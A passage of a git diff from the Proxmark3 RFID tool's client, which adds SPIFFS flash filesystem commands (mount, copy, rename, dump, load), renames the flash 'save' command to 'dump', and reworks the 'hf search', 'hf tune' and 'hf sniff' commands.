PM3_EFILE; } if (datalen > FLASH_MEM_MAX_SIZE) { - PrintAndLogDevice(WARNING, "error, filesize is larger than available memory"); + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); free(data); return PM3_EOVFLOW; } break; } - +// not needed when we transite to loadxxxx_safe methods.(iceman) uint8_t *newdata = realloc(data, datalen); if (newdata == NULL) { free(data); @@ -308,20 +266,21 @@ static int CmdFlashMemLoad(const char *Cmd) { conn.block_after_ACK = false; free(data); - PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%u")"bytes to offset "_GREEN_("%u"), datalen, start_index); + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu")"bytes to offset "_GREEN_("%u"), datalen, start_index); return PM3_SUCCESS; } -static int CmdFlashMemSave(const char *Cmd) { +static int CmdFlashMemDump(const char *Cmd) { char filename[FILE_PATH_SIZE] = {0}; uint8_t cmdp = 0; bool errors = false; + bool print = false; uint32_t start_index = 0, len = FLASH_MEM_MAX_SIZE; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': - return usage_flashmem_save(); + return usage_flashmem_dump(); case 'l': len = param_get32ex(Cmd, cmdp + 1, FLASH_MEM_MAX_SIZE, 10); cmdp += 2; @@ -330,6 +289,10 @@ static int CmdFlashMemSave(const char *Cmd) { start_index = param_get32ex(Cmd, cmdp + 1, 0, 10); cmdp += 2; break; + case 'p': + print = true; + cmdp += 1; + break; case 'f': //File handling if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { @@ -348,25 +311,32 @@ static int CmdFlashMemSave(const char *Cmd) { //Validations if (errors || cmdp == 0) { - usage_flashmem_save(); + usage_flashmem_dump(); return PM3_EINVARG; } uint8_t *dump = calloc(len, sizeof(uint8_t)); if (!dump) { - PrintAndLogDevice(WARNING, "error, cannot allocate memory "); + PrintAndLogEx(ERR, "error, cannot allocate memory "); return PM3_EMALLOC; } PrintAndLogEx(INFO, "downloading "_YELLOW_("%u")"bytes from flashmem", len); - if (!GetFromDevice(FLASH_MEM, dump, len, start_index, NULL, -1, true)) { + if (!GetFromDevice(FLASH_MEM, dump, len, start_index, NULL, 0, NULL, -1, true)) { PrintAndLogEx(FAILED, "ERROR; downloading from flashmemory"); free(dump); return PM3_EFLASH; } - saveFile(filename, ".bin", dump, len); - saveFileEML(filename, dump, len, 16); + if (print) { + print_hex_break(dump, len, 32); + } + + if (filename[0] != '\0') { + saveFile(filename, ".bin", dump, len); + saveFileEML(filename, dump, len, 16); + } + free(dump); return PM3_SUCCESS; } @@ -611,11 +581,11 @@ static int CmdFlashMemInfo(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"spiffs", CmdFlashMemSpiFFS, IfPm3Flash, "High level SPI FileSystem Flash manipulation [rdv40]"}, {"spibaud", CmdFlashmemSpiBaudrate, IfPm3Flash, "Set Flash memory Spi baudrate [rdv40]"}, - {"read", CmdFlashMemRead, IfPm3Flash, "Read Flash memory [rdv40]"}, {"info", CmdFlashMemInfo, IfPm3Flash, "Flash memory information [rdv40]"}, {"load", CmdFlashMemLoad, IfPm3Flash, "Load data into flash memory [rdv40]"}, - {"save", CmdFlashMemSave, IfPm3Flash, "Save data from flash memory [rdv40]"}, + {"dump", CmdFlashMemDump, IfPm3Flash, "Dump data from flash memory [rdv40]"}, {"wipe", CmdFlashMemWipe, IfPm3Flash, "Wipe data from flash memory [rdv40]"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/cmdflashmem.h b/client/cmdflashmem.h index 3c37239b7..011b57a14 100644 --- a/client/cmdflashmem.h +++ b/client/cmdflashmem.h @@ -11,18 +11,7 @@ #ifndef CMDFLASHMEM_H__ #define CMDFLASHMEM_H__ -#include -#include -#include -#include -#include "proxmark3.h" -#include "ui.h" -#include "cmdparser.h" #include "common.h" -#include "util.h" -#include "util_posix.h" // msclock -#include "loclass/fileutils.h" //saveFile -#include "comms.h" //getfromdevice typedef enum { DICTIONARY_NONE = 0, diff --git a/client/cmdflashmemspiffs.c b/client/cmdflashmemspiffs.c new file mode 100644 index 000000000..788851f1a --- /dev/null +++ b/client/cmdflashmemspiffs.c @@ -0,0 +1,485 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2018 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Proxmark3 RDV40 Flash memory commands +//----------------------------------------------------------------------------- +#include "cmdflashmemspiffs.h" + +#include + +#include "cmdparser.h" // command_t +#include "pmflash.h" +#include "fileutils.h" //saveFile +#include "comms.h" //getfromdevice + +static int CmdHelp(const char *Cmd); + +static int usage_flashmemspiffs_remove(void) { + PrintAndLogEx(NORMAL, "Remove a file from spiffs filesystem"); + PrintAndLogEx(NORMAL, " Usage: mem spiffs remove "); + return PM3_SUCCESS; +} + +static int usage_flashmemspiffs_rename(void) { + PrintAndLogEx(NORMAL, "Rename/move a file in spiffs filesystem"); + PrintAndLogEx(NORMAL, " Usage: mem spiffs rename "); + return PM3_SUCCESS; +} + +static int usage_flashmemspiffs_copy(void) { + PrintAndLogEx(NORMAL, "Copy a file to another (destructively) in spiffs filesystem"); + PrintAndLogEx(NORMAL, " Usage: mem spiffs copy "); + return PM3_SUCCESS; +} + +static int usage_flashmemspiffs_dump(void) { + PrintAndLogEx(NORMAL, "Dumps flash memory on device into a file or in console"); + PrintAndLogEx(NORMAL, "Size is handled by first sending a STAT command against file existence"); + PrintAndLogEx(NORMAL, " Usage: mem spiffs dump o [f [e]] [p]"); + PrintAndLogEx(NORMAL, " o : filename in SPIFFS"); + PrintAndLogEx(NORMAL, " f : file name to save to"); + PrintAndLogEx(NORMAL, " p : print dump in console"); + PrintAndLogEx(NORMAL, " e : also save in EML format (good for tags save and dictonnary files)"); + PrintAndLogEx(NORMAL, " You must specify at lease option f or option p, both if you wish"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem spiffs dump o hf_colin/lasttag f lasttag e"); + PrintAndLogEx(NORMAL, " mem spiffs dump o hf_colin/lasttag p"); + return PM3_SUCCESS; +} + +static int usage_flashmemspiffs_load(void) { + PrintAndLogEx(NORMAL, "Uploads binary-wise file into device filesystem"); + PrintAndLogEx(NORMAL, "Usage: mem spiffs load o f "); + PrintAndLogEx(NORMAL, "Warning: mem area to be written must have been wiped first"); + PrintAndLogEx(NORMAL, "(this is already taken care when loading dictionaries)"); + PrintAndLogEx(NORMAL, " o : destination filename"); + PrintAndLogEx(NORMAL, " f : local filename"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " mem spiffs load f myfile o myapp.conf"); + return PM3_SUCCESS; +} + + +static int CmdFlashMemSpiFFSMount(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSUnmount(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSTest(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_TEST, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSCheck(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_CHECK, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSTree(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_PRINT_TREE, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSInfo(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + clearCommandBuffer(); + SendCommandNG(CMD_SPIFFS_PRINT_FSINFO, NULL, 0); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSRemove(const char *Cmd) { + + int len = strlen(Cmd); + if (len < 1) { + return usage_flashmemspiffs_remove(); + } + + char ctmp = tolower(param_getchar(Cmd, 0)); + if (len == 1 && ctmp == 'h') { + return usage_flashmemspiffs_remove(); + } + + char filename[32] = {0}; + bool errors = false; + + if (param_getstr(Cmd, 0, filename, 32) >= 32) { + PrintAndLogEx(FAILED, "Filename too long"); + errors = true; + } + + // check null filename ? + if (errors) { + usage_flashmemspiffs_remove(); + return PM3_EINVARG; + } + + SendCommandMIX(CMD_SPIFFS_REMOVE, 0, 0, 0, (uint8_t *)filename, 32); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSRename(const char *Cmd) { + + int len = strlen(Cmd); + if (len < 1) { + return usage_flashmemspiffs_rename(); + } + + char ctmp = tolower(param_getchar(Cmd, 0)); + if (len == 1 && ctmp == 'h') { + return usage_flashmemspiffs_rename(); + } + + char srcfilename[32] = {0}; + char destfilename[32] = {0}; + bool errors = false; + + if (param_getstr(Cmd, 0, srcfilename, 32) >= 32) { + PrintAndLogEx(FAILED, "Source Filename too long"); + errors = true; + } + if (srcfilename[0] == '\0') { + PrintAndLogEx(FAILED, "Source Filename missing or invalid"); + errors = true; + } + + if (param_getstr(Cmd, 1, destfilename, 32) >= 32) { + PrintAndLogEx(FAILED, "Source Filename too long"); + errors = true; + } + if (destfilename[0] == '\0') { + PrintAndLogEx(FAILED, "Source Filename missing or invalid"); + errors = true; + } + + // check null filename ? + if (errors) { + usage_flashmemspiffs_rename(); + return PM3_EINVARG; + } + + char data[65]; + sprintf(data, "%s,%s", srcfilename, destfilename); + SendCommandMIX(CMD_SPIFFS_RENAME, 0, 0, 0, (uint8_t *)data, 65); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSCopy(const char *Cmd) { + int len = strlen(Cmd); + if (len < 1) { + return usage_flashmemspiffs_copy(); + } + + char ctmp = tolower(param_getchar(Cmd, 0)); + if (len == 1 && ctmp == 'h') { + return usage_flashmemspiffs_copy(); + } + + + char srcfilename[32] = {0}; + char destfilename[32] = {0}; + bool errors = false; + + if (param_getstr(Cmd, 0, srcfilename, 32) >= 32) { + PrintAndLogEx(FAILED, "Source Filename too long"); + errors = true; + } + if (srcfilename[0] == '\0') { + PrintAndLogEx(FAILED, "Source Filename missing or invalid"); + errors = true; + } + + if (param_getstr(Cmd, 1, destfilename, 32) >= 32) { + PrintAndLogEx(FAILED, "Source Filename too long"); + errors = true; + } + if (destfilename[0] == '\0') { + PrintAndLogEx(FAILED, "Source Filename missing or invalid"); + errors = true; + } + + // check null filename ? + if (errors) { + usage_flashmemspiffs_copy(); + return PM3_EINVARG; + } + + char data[65]; + sprintf(data, "%s,%s", srcfilename, destfilename); + SendCommandMIX(CMD_SPIFFS_COPY, 0, 0, 0, (uint8_t *)data, 65); + return PM3_SUCCESS; +} + +static int CmdFlashMemSpiFFSDump(const char *Cmd) { + + char filename[FILE_PATH_SIZE] = {0}; + uint8_t cmdp = 0; + bool errors = false; + bool print = false; + uint32_t start_index = 0, len = FLASH_MEM_MAX_SIZE; + char destfilename[32] = {0}; + bool eml = false; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_flashmemspiffs_dump(); + /*case 'l': + len = param_get32ex(Cmd, cmdp + 1, FLASH_MEM_MAX_SIZE, 10); + cmdp += 2; + break;*/ + case 'o': + param_getstr(Cmd, cmdp + 1, destfilename, 32); + cmdp += 2; + break; + case 'p': + print = true; + cmdp += 1; + break; + case 'e': + eml = true; + cmdp += 1; + break; + case 'f': + // File handling + if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { + PrintAndLogEx(FAILED, "Filename too long"); + errors = true; + break; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + if ((filename[0] == '\0') && (!print)) { + PrintAndLogEx(FAILED, "No print asked and Local dump Filename missing or invalid"); + errors = true; + } + + if (destfilename[0] == '\0') { + PrintAndLogEx(FAILED, "SPIFFS Filename missing or invalid"); + errors = true; + } + + // Validations + if (errors || cmdp == 0) { + usage_flashmemspiffs_dump(); + return PM3_EINVARG; + } + + // get size from spiffs itself ! + SendCommandMIX(CMD_SPIFFS_STAT, 0, 0, 0, (uint8_t *)destfilename, 32); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + len = resp.oldarg[0]; + + uint8_t *dump = calloc(len, sizeof(uint8_t)); + if (!dump) { + PrintAndLogEx(ERR, "error, cannot allocate memory "); + return PM3_EMALLOC; + } + + PrintAndLogEx(INFO, "downloading "_YELLOW_("%u") "bytes from spiffs (flashmem)", len); + if (!GetFromDevice(SPIFFS, dump, len, start_index, (uint8_t *)destfilename, 32, NULL, -1, true)) { + PrintAndLogEx(FAILED, "ERROR; downloading from spiffs(flashmemory)"); + free(dump); + return PM3_EFLASH; + } + + if (print) { + print_hex_break(dump, len, 32); + } + + if (filename[0] != '\0') { + saveFile(filename, "", dump, len); + if (eml) { + saveFileEML(filename, dump, len, 16); + } + } + + free(dump); + return PM3_SUCCESS; +} + +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) { + + int ret_val = PM3_SUCCESS; + + // We want to mount before multiple operation so the lazy writes/append will not + // trigger a mount + umount each loop iteration (lazy ops device side) + SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); + + // Send to device + uint32_t bytes_sent = 0; + uint32_t bytes_remaining = datalen; + uint32_t append = 0; + + // fast push mode + conn.block_after_ACK = true; + + while (bytes_remaining > 0) { + uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); + + clearCommandBuffer(); + + char fdata[32 + bytes_in_packet]; + memset(fdata, 0, sizeof(fdata)); + memcpy(fdata, destfn, 32); + memcpy(fdata + 32, data + bytes_sent, bytes_in_packet); + + if (bytes_sent > 0) + append = 1; + + SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet); + + bytes_remaining -= bytes_in_packet; + bytes_sent += bytes_in_packet; + + PacketResponseNG resp; + + uint8_t retry = 3; + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + retry--; + if (retry == 0) { + ret_val = PM3_ETIMEOUT; + goto out; + } + } + + uint8_t isok = resp.oldarg[0] & 0xFF; + if (!isok) { + PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); + ret_val = PM3_EFLASH; + break; + } + } + +out: + clearCommandBuffer(); + + // turn off fast push mode + conn.block_after_ACK = false; + + // We want to unmount after these to set things back to normal but more than this + // unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory + SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); + + return ret_val; +} + +static int CmdFlashMemSpiFFSLoad(const char *Cmd) { + + char filename[FILE_PATH_SIZE] = {0}; + uint8_t destfilename[32] = {0}; + bool errors = false; + uint8_t cmdp = 0; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_flashmemspiffs_load(); + case 'f': + if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { + PrintAndLogEx(FAILED, "Filename too long"); + errors = true; + } + cmdp += 2; + break; + case 'o': + param_getstr(Cmd, cmdp + 1, (char *)destfilename, 32); + if (strlen((char *)destfilename) == 0) { + PrintAndLogEx(FAILED, "Destination Filename missing or invalid"); + errors = true; + } + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + // Validations + if (errors || cmdp == 0) + return usage_flashmemspiffs_load(); + + size_t datalen = 0; + uint8_t *data = NULL; + + int res = loadFile_safe(filename, "", (void **)&data, &datalen); + // int res = loadFileEML( filename, data, &datalen); + if (res != PM3_SUCCESS) { + free(data); + return PM3_EFILE; + } + + res = flashmem_spiffs_load(destfilename, data, datalen); + + free(data); + + if (res == PM3_SUCCESS) + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename); + + return res; +} + +static command_t CommandTable[] = { + + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"copy", CmdFlashMemSpiFFSCopy, IfPm3Flash, + "Copy a file to another (destructively) in SPIFFS FileSystem in FlashMEM (spiffs)" + }, + {"check", CmdFlashMemSpiFFSCheck, IfPm3Flash, "Check/try to defrag faulty/fragmented Filesystem"}, + {"dump", CmdFlashMemSpiFFSDump, IfPm3Flash, "Dump a file from SPIFFS FileSystem in FlashMEM (spiffs)"}, + {"info", CmdFlashMemSpiFFSInfo, IfPm3Flash, "Print filesystem info and usage statistics (spiffs)"}, + {"load", CmdFlashMemSpiFFSLoad, IfPm3Flash, "Upload file into SPIFFS Filesystem (spiffs)"}, + {"mount", CmdFlashMemSpiFFSMount, IfPm3Flash, "Mount the SPIFFS Filesystem if not already mounted (spiffs)"}, + {"remove", CmdFlashMemSpiFFSRemove, IfPm3Flash, "Remove a file from SPIFFS FileSystem in FlashMEM (spiffs)"}, + {"rename", CmdFlashMemSpiFFSRename, IfPm3Flash, "Rename/move a file in SPIFFS FileSystem in FlashMEM (spiffs)"}, + {"test", CmdFlashMemSpiFFSTest, IfPm3Flash, "Test SPIFFS Operations (require wiping pages 0 and 1)"}, + {"tree", CmdFlashMemSpiFFSTree, IfPm3Flash, "Print the Flash Memory FileSystem Tree (spiffs)"}, + {"unmount", CmdFlashMemSpiFFSUnmount, IfPm3Flash, "Un-mount the SPIFFS Filesystem if not already mounted (spiffs)"}, + {NULL, NULL, NULL, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} + +int CmdFlashMemSpiFFS(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} diff --git a/armsrc/Standalone/lf_samyrun.h b/client/cmdflashmemspiffs.h similarity index 59% rename from armsrc/Standalone/lf_samyrun.h rename to client/cmdflashmemspiffs.h index 52c0bb942..9324a541b 100644 --- a/armsrc/Standalone/lf_samyrun.h +++ b/client/cmdflashmemspiffs.h @@ -1,22 +1,19 @@ //----------------------------------------------------------------------------- -// Samy Kamkar 2012 -// Christian Herrmann, 2017 +// Copyright (C) 2018 iceman // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// StandAlone Mod +// Proxmark3 RDV40 Flash memory commands //----------------------------------------------------------------------------- -#ifndef __LF_SAMYRUN_H -#define __LF_SAMYRUN_H +#ifndef CMDFLASHMEMSPIFFS_H__ +#define CMDFLASHMEMSPIFFS_H__ -//#include // for bool -#include "standalone.h" // standalone definitions -#include "apps.h" // debugstatements, lfops? +#include "common.h" +int CmdFlashMemSpiFFS(const char *Cmd); +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen); -#define OPTS 2 - -#endif /* __LF_SAMYRUN_H */ +#endif diff --git a/client/cmdhf.c b/client/cmdhf.c index 7e42202a9..e1ed4c799 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -1,6 +1,9 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // Merlok - 2017 +// Doegox - 2019 +// Iceman - 2019 +// Piwi - 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -10,6 +13,33 @@ //----------------------------------------------------------------------------- #include "cmdhf.h" +#include // tolower + +#include "cmdparser.h" // command_t +#include "cliparser/cliparser.h" // parse +#include "comms.h" // clearCommandBuffer +#include "lfdemod.h" // computeSignalProperties +#include "cmdhf14a.h" // ISO14443-A +#include "cmdhf14b.h" // ISO14443-B +#include "cmdhf15.h" // ISO15693 +#include "cmdhfepa.h" +#include "cmdhflegic.h" // LEGIC +#include "cmdhficlass.h" // ICLASS +#include "cmdhfmf.h" // CLASSIC +#include "cmdhfmfu.h" // ULTRALIGHT/NTAG etc +#include "cmdhfmfp.h" // Mifare Plus +#include "cmdhfmfdes.h" // DESFIRE +#include "cmdhftopaz.h" // TOPAZ +#include "cmdhffelica.h" // ISO18092 / FeliCa +#include "cmdhffido.h" // FIDO authenticators +#include "cmdhfthinfilm.h" // Thinfilm +#include "cmdhflto.h" // LTO-CM +#include "cmdtrace.h" // trace list +#include "ui.h" +#include "cmddata.h" +#include "graph.h" +#include "../common_fpga/fpga.h" + static int CmdHelp(const char *Cmd); static int usage_hf_search() { @@ -18,7 +48,7 @@ static int usage_hf_search() { PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h - This help"); PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } static int usage_hf_sniff() { @@ -34,62 +64,119 @@ static int usage_hf_sniff() { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf sniff"); PrintAndLogEx(NORMAL, " hf sniff 1000 0"); - return 0; + return PM3_SUCCESS; } static int usage_hf_tune() { - PrintAndLogEx(NORMAL, "Usage: hf tune []"); PrintAndLogEx(NORMAL, "Continuously measure HF antenna tuning."); - PrintAndLogEx(NORMAL, "Press button or keyboard to interrupt."); + PrintAndLogEx(NORMAL, "Press button or Enter to interrupt."); + PrintAndLogEx(NORMAL, "Usage: hf tune [h] []"); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " - number of iterations (default: infinite)"); + PrintAndLogEx(NORMAL, " h - This help"); + PrintAndLogEx(NORMAL, " - number of iterations (default: 0=infinite)"); PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } +#define PROMPT_CLEARLINE PrintAndLogEx(INPLACE, " ") + int CmdHFSearch(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_hf_search(); - PrintAndLogEx(INFO, "Checking for known tags...\n"); + int res = PM3_ESOFT; + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); + if (IfPm3NfcBarcode()) { + if (infoThinFilm(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") "found\n"); + res = PM3_SUCCESS; + } + } - if (infoHF14A(false, false) > 0) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") " found\n"); - return 1; + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for LTO-CM tag..."); + if (IfPm3Iso14443a()) { + if (infoLTO(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") "found\n"); + res = PM3_SUCCESS; + } } - if (readHF15Uid(false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") " found\n"); - return 1; + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag..."); + if (IfPm3Iso14443a()) { + if (infoHF14A(false, false, false) > 0) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") "found\n"); + res = PM3_SUCCESS; + } } - if (readLegicUid(false) == 0) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") " found\n"); - return 1; + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for ISO15693 tag..."); + if (IfPm3Iso15693()) { + if (readHF15Uid(false)) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") "found\n"); + res = PM3_SUCCESS; + } } - if (readTopazUid() == 0) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); - return 1; + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for LEGIC tag..."); + if (IfPm3Legicrf()) { + if (readLegicUid(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") "found\n"); + res = PM3_SUCCESS; + } } + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for Topaz tag..."); + if (IfPm3Iso14443a()) { + if (readTopazUid(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") "found\n"); + res = PM3_SUCCESS; + } + } + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for FeliCa tag..."); + if (IfPm3Felica()) { + if (readFelicaUid(false) == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") "found\n"); + res = PM3_SUCCESS; + } + } + // 14b and iclass is the longest test (put last) - if (readHF14B(false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") " found\n"); - return 1; - } - if (readIclass(false, false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") " found\n"); - return 1; + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for ISO14443-B tag..."); + if (IfPm3Iso14443a()) { + if (readHF14B(false) == 1) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") "found\n"); + res = PM3_SUCCESS; + } } - /* - ans = CmdHFFelicaReader("s"); - if (ans) { - PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") " found\n"); - return ans; + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag..."); + if (IfPm3Iclass()) { + if (readIclass(false, false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") "found\n"); + res = PM3_SUCCESS; + } } - */ - PrintAndLogEx(FAILED, "\nno known/supported 13.56 MHz tags found\n"); - return 0; + PROMPT_CLEARLINE; + if (res != PM3_SUCCESS) { + + PrintAndLogEx(INPLACE, _RED_("No known/supported 13.56 MHz tags found")); + res = PM3_ESOFT; + } + printf("\n"); + return res; } int CmdHFTune(const char *Cmd) { @@ -97,41 +184,47 @@ int CmdHFTune(const char *Cmd) { if (cmdp == 'h') return usage_hf_tune(); int iter = param_get32ex(Cmd, 0, 0, 10); + PrintAndLogEx(INFO, "Measuring HF antenna, click " _GREEN_("pm3 button") "or press " _GREEN_("Enter") "to exit"); PacketResponseNG resp; - PrintAndLogEx(SUCCESS, "Measuring HF antenna, click button or press a key to exit"); clearCommandBuffer(); + uint8_t mode[] = {1}; SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (!WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000)) { PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF initialization, aborting"); return PM3_ETIMEOUT; } + mode[0] = 2; // loop forever (till button pressed) if iter = 0 (default) for (uint8_t i = 0; iter == 0 || i < iter; i++) { - if (ukbhit()) { // abort by keyboard press - int gc = getchar(); - (void)gc; + if (kbd_enter_pressed()) { break; } + SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (!WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000)) { + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF measure, aborting"); return PM3_ETIMEOUT; } - if ((resp.status == PM3_EOPABORTED) || (resp.length != sizeof(uint16_t))) + + if ((resp.status == PM3_EOPABORTED) || (resp.length != sizeof(uint16_t))) { break; - uint16_t volt = resp.data.asDwords[0]; - PrintAndLogEx(INPLACE, "%u mV / %5u V", volt, (uint16_t)(volt / 1000)); + } + + uint16_t volt = resp.data.asDwords[0] & 0xFFFF; + PrintAndLogEx(INPLACE, "%u mV / %2u V", volt, (uint16_t)(volt / 1000)); } mode[0] = 3; + SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (!WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000)) { PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF shutdown, aborting"); return PM3_ETIMEOUT; } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "Done."); + PrintAndLogEx(INFO, "Done."); return PM3_SUCCESS; } @@ -143,8 +236,44 @@ int CmdHFSniff(const char *Cmd) { int skiptriggers = param_get32ex(Cmd, 1, 0, 10); clearCommandBuffer(); - SendCommandMIX(CMD_HF_SNIFFER, skippairs, skiptriggers, 0, NULL, 0); - return 0; + SendCommandMIX(CMD_HF_SNIFF, skippairs, skiptriggers, 0, NULL, 0); + return PM3_SUCCESS; +} + +int CmdHFPlot(const char *Cmd) { + CLIParserInit("hf plot", + "Plots HF signal after RF signal path and A/D conversion.", + "This can be used after any hf command and will show the last few milliseconds of the HF signal.\n" + "Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n"); + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + uint8_t buf[FPGA_TRACE_SIZE]; + + PacketResponseNG response; + if 